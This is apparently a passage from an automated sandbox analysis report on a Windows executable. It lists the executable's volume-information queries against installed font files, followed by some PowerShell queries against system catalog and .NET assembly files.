Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
